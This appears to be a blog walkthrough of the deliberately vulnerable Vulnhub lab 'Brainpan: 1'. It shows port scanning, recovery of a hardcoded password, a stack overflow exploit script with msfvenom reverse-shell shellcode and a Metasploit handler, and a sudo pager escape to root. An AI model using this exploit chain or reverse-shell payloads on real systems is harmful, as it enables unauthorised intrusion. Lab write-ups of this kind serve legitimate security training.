Exploitation · Pentesting · Reverse Engineering · Vulnhub

Brainpan: 1 – OSCP-Like Vulnhub Walkthrough

brainpan

Machine link: https://www.vulnhub.com/entry/brainpan-1,51/

I really enjoyed this machine, but mainly the exploitation part of it.

Since this is a boot2root, our goal is to get root on it and we’re good to go.

This one is also shown as being good for OSCP practice in this article, so let’s get started.

Table of Contents

Let’s begin to find its IP:

root@kali:~/Vulnhub/Brainpan# netdiscover -r 10.0.0.0/8
Currently scanning: 10.0.2.0/8 | Screen View: Unique Hosts 
 
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname 
-----------------------------------------------------------------------------
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor 
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor 
10.0.2.3 08:00:27:09:7c:bd 1 60 PCS Systemtechnik GmbH 
10.0.2.16 08:00:27:09:f6:24 1 60 PCS Systemtechnik GmbH

10.0.2.16 is the one we want (the others refer to VirtualBox).
Keep in mind that you don’t need to include the subnet range you want to scan, I just include it to fasten the scan.

Port Scanning

Now it’s time to do some port scanning, along with service and script scanning.
(meaning that nmap will use generic scripts according to the services it gets from service scan)

root@kali:~/Vulnhub/Brainpan# nmap -p- -sC -sV -sT -T5 -v -oN nmap.results 10.0.2.16
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings: 
| NULL: 
| _| _| 
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)

A quick reminder that if you don’t know how to use a certain tool you can use “man toolname” to check its usage and available parameters.

It’s interesting that the author of this Vulnhub used python’s SimpleHTTPServer module instead of the usual apache.

We can see that nmap shows some unusual output on port 9999, we can speculate that it’s a binary made by the author and we’re supposed to exploit it.

Enumeration

Let’s investigate further on netcat.

root@kali:~/Vulnhub/Brainpan# nc 10.0.2.16 9999
_| _| 
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
 _| 
 _|

[________________________ WELCOME TO BRAINPAN _________________________]
 ENTER THE PASSWORD

>>

My first attempt was to try root password but got denied.

 >> root
 ACCESS DENIED

Now it’s time to try some format string exploitation. (LiveOverflow explains it well on his exploitation series)

Tried %s, %x and %x%x but that didn’t give a different result.

EDIT: A guy from hackers.gg(SubtlePropaganda) actually told me that it was pretty useless to test format string payloads since it doesn’t echo back our input and that’s actually right, my bad :P.

Right now this is pure black-box exploitation because we don’t even have the binary to reverse engineer or source code to review, my first thought was to crack it with a wordlist like rockyou.txt.

However, cracking services don’t tend to be the approach needed in challenges.

Instead, I decided to analyze the port 10000.

Navigating to http://10.0.2.16:10000/ on firefox showed a long image regarding safe coding, most likely hinting that the binary on port 9999 is vulnerable.

Time to discover other folders and files on the web server, for this, I’ll use dirbuster:

I choose dirbuster over dirb simply because dirbuster allows multi-threading which makes scanning a lot quicker.

Brainpan_dirbuster_port_10000

Notice that I excluded php from the “File extension” field because we’re dealing with a python web server so there’s no reason for it to have a php file. (but hey we never know)

It found:

/
/bin/
/index.html

We can already judge what /bin/ contains.

Brainpan_port_10000_bin_folder

Now, this is more of a gray-box testing since we now have the binary to reverse engineer.

Notice the fact that it’s a .exe in Linux, so it’s likely that the machine is using Wine.

Little Reverse Engineering

Being a Windows binary, I decided to take a look at it in IDA Pro.

The binary contains the following strings:

ida_brainpan_strings.png

Judging by “ACCESS DENIED\n”, this is the binary listening on port 9999.

But… Do you notice one interesting string?

ida_brainpan_interesting_string.png

Double click and then go to the address that is referencing it.

ida_brainpan_interesting_string_reference.png

Double click on the DATA XREF.

ida_brainpan_interesting_string_reference_code.png

The function is called get_reply and it’s issuing a strcmp against the first argument and “shitstorm\n”, it’s just obvious that this is the password.

Let’s give it a try.

root@kali:~/Vulnhub/Brainpan# nc 10.0.2.16 9999
_| _| 
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
 _| 
 _|

[________________________ WELCOME TO BRAINPAN _________________________]
 ENTER THE PASSWORD

>> shitstorm
 ACCESS GRANTED

Yay! We’re in. Wait… In what?

This is just useless since we get an “ACCESS GRANTED” and that’s really it.

Exploitation

Time to pwn with binary exploitation skills, this is where the fun(and frustration) come in this machine.

I got heated up as this is a Windows binary and I have only pwn’ed Linux ones.

Not feeling like reverse engineering the way it receives our input, I decided to just try and overflow the buffer.

But I want to debug this, so what I’ll do is:

  1. Open up x64dbg(my favorite Windows debugger ♥).
  2. Open the binary with x64dbg.
  3. Create a pattern that allows me quickly know the number of characters we need to overflow the buffer, using pwntools.

ida_brainpan_x64dbg.png

root@kali:~/Vulnhub/Brainpan# python
Python 2.7.14+ (default, Dec 5 2017, 15:17:02) 
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> cyclic(1024)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak'
>>>

pwntools calls pattern as cyclic.

Now let’s connect to my machine’s brainpan.exe and send this cyclic.

Switched my Kali virtual machine to Bridged Mode to be able to connect to my host machine.

root@kali:~/Vulnhub/Brainpan# nc 192.168.1.69 9999
_| _| 
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
 _| 
 _|

[________________________ WELCOME TO BRAINPAN _________________________]
 ENTER THE PASSWORD

>> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak

We got the terminal hanging so nice, we got a crash! (this phrase is probably only used by exploit developers)

Debug time, let’s quickly check the EIP we got.

ida_brainpan_crash.png

We can see that it only copied 1003 bytes, our payload had 1024, on the bottom we can also see that it got an EXCEPTION_ACCESS_VIOLATION.

The EIP is 0x66616167.

Converting to ASCII(with asciitohex.com) that’s ‘faag’, but that’s in little endian, converting to big endian gives ‘gaaf’. (See here what endianess mean)

Now let’s see what’s that in offset.

>>> cyclic_find('gaaf')
524

We can already start writing the script to exploit this, adding 524 as the number of fill characters to reach EIP.

But let’s first check if DEP is enabled, to see if we can jump to the stack. (NX on Linux)

For this, I’m going to use DIE, Detect It Easy.

ida_brainpan_die.png

Disabled, this is going to be easy.

The plan here is to have the stack hold a shellcode that gets us a reverse shell and get it executed by making the EIP point to our stack.

First I begin by choosing the shellcode we’ll be using since we’re dealing with Windows I decide to use msfvenom.

root@kali:~/Vulnhub/Brainpan# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.77 -e x86/shikata_ga_nai -b '\x00' -f python --smallest -v shellcode
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 308 (iteration=0)
x86/shikata_ga_nai chosen with final size 308
Payload size: 308 bytes
Final size of python file: 1664 bytes
shellcode = ""
...

By default, the LPORT of the reverse tcp payload is 4444.

I used the x86/shikata_ga_nai to handle our bad character “0x00”, specified in the -b argument, we can’t use the null byte in this case because the binary is using _mbscpy, which operates on null-terminated strings.

In case you don’t know, msf encoders aren’t meant for antivirus evasion, just to handle bad characters. Source: https://blog.rapid7.com/2012/12/14/the-odd-couple-metasploit-and-antivirus-solutions/

Speaking of bad characters, if you take a close look at the registers view in x32dbg, you can see that our ESP address has a null byte.

ida_brainpan_crash_registers.pngBut shouldn’t be an issue, we just need to grab a gadget.

A gadget is simply a set of instructions followed by a ret, in this case, we want one that will jump to ESP.

To find gadgets, I tend to use ROPgadget.

root@kali:~/Vulnhub/Brainpan# ROPgadget --binary brainpan.exe 
Gadgets information
============================================================

...
0x311712f3 : jmp esp
...

Unique gadgets found: 150

We just need the jmp esp.

We have the gadget and the shellcode so now it’s time to write the exploit script.

import socket
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(('192.168.1.69', 9999)) # our machine to debug
#sock.connect(('10.0.2.16', 9999)) # brainpan machine

JMP_ESP = 0x311712f3

shellcode = ""
shellcode += "\xbd\x67\x82\x22\x2a\xdd\xc2\xd9\x74\x24\xf4\x58"
...

payload = 'A' * 524

payload += struct.pack("I", JMP_ESP) # encode the int

payload += shellcode

payload += '\n'

sock.send(payload)

print(sock.recv(2048))

Let’s test it out.

ida_brainpan_crash_ill.png

Aaaaaand it crashed.

I got pretty confused, I had never used msf payloads for exploitation and I even read other walkthroughs on this machine but all used a nop slide which to be fair didn’t make sense to me since we knew exactly what was the ESP address.

Until I proceeded to single step in the shellcode and notice this instruction:

ida_brainpan_shellcode.png

So… ESP points to 0x0028F920, and that instruction is, according to Intel’s manual, storing the FPU operating environment to [esp-0xC], so this is overwriting our instructions!

We can check this by single-stepping the instruction:

x32dbg_brainpan_instructions_overwritten.png

This is why we need to use a nop slide.

However, I decided to just move the ESP up a bit, doing so:

shellcode += "\x83\xEC\x20" # sub esp, 0x20 <--- because the shellcode overwrites the beginning of the stack

Put this after declaring the shellcode and before the first instruction of it, as this must be the first instruction to be executed.

Now, before testing it, I’m going to start an msf handler to listen for the reverse shell:

root@kali:~/Vulnhub/Brainpan# msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.78
LHOST => 192.168.1.78
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.78:4444

We run the exploit and got a shell!

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\AdvSpyL3n\Documents\CTF\Brainpan>

So now change the IPs and re-generate the shellcode to exploit the brainpan machine.

CMD Version 1.4.1

Z:\home\puck>

There we go! Notice the version of the cmd? This is because we’re inside Wine, as I stated before, the binary is Windows in a Linux machine.

Getting a “proper” shell

We can assure this by checking the root folder:

Z:\>dir
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:\

3/4/2013 1:02 PM
bin 3/4/2013 11:19 AMboot 3/25/2018 6:43 PMetc 3/4/2013 11:49 AMhome 3/4/2013 11:18 AM 15,084,717 initrd.img 3/4/2013 11:18 AM 15,084,717 initrd.img.old 3/4/2013 1:04 PMlib 3/4/2013 10:12 AMlost+found 3/4/2013 10:12 AMmedia 10/9/2012 9:59 AMmnt 3/4/2013 10:13 AMopt 3/7/2013 11:07 PMroot 3/25/2018 5:53 PMrun 3/4/2013 11:20 AMsbin 6/11/2012 9:43 AMselinux 3/4/2013 10:13 AMsrv 3/25/2018 5:55 PMtmp 3/4/2013 10:13 AMusr 3/7/2013 11:13 PMvar 2/25/2013 2:32 PM 5,180,432 vmlinuz 2/25/2013 2:32 PM 5,180,432 vmlinuz.old 4 files 40,530,298 bytes 17 directories 13,849,890,816 bytes free

Let’s see if we can get ourselves a Linux shell.

I tried to run Z:/bin/sh and this happened…

Z:\>bin/sh

Z:\>ls
File not found.

Z:\>ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
ls
File not found.

Z:\>

It seems to alternate between sh and Windows cmd, what?!

I typed exit in the sh and decided to change the shellcode to a Linux one.

msf exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
root@kali:~/Vulnhub/Brainpan# msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.0.2.15 -e x86/shikata_ga_nai -b '\x00' -f python --smallest -v shellcode

And it worked! (I honestly wasn’t sure it was going to)

ls
checksrv.sh
web
whoami
puck

Privilege escalation

Privilege escalation time!

After looking around, I checked sudo -l showed something interesting:

sudo -l
Matching Defaults entries for puck on this host:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
 (root) NOPASSWD: /home/anansi/bin/anansi_util

Let’s check this binary.

sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
 - network
 - proclist
 - manual [command]

Looking at this I already saw what was the vulnerability. Check this: https://superuser.com/questions/521399/how-do-i-execute-a-linux-command-whilst-using-the-less-command-or-within-the-man

For this, we need to spawn a pseudo-tty(we don’t need a full-tty) otherwise it will just show the manual and exit.
I’ll use my favorite python method stated here: https://netsec.ws/?p=337.

python -c 'import pty; pty.spawn("/bin/sh")'
$ sudo /home/anansi/bin/anansi_util manual ifconfig
sudo /home/anansi/bin/anansi_util manual ifconfig
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)

Now we type

!/bin/sh
# whoami
whoami
root

And we got it, woot!

2 thoughts on “Brainpan: 1 – OSCP-Like Vulnhub Walkthrough

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s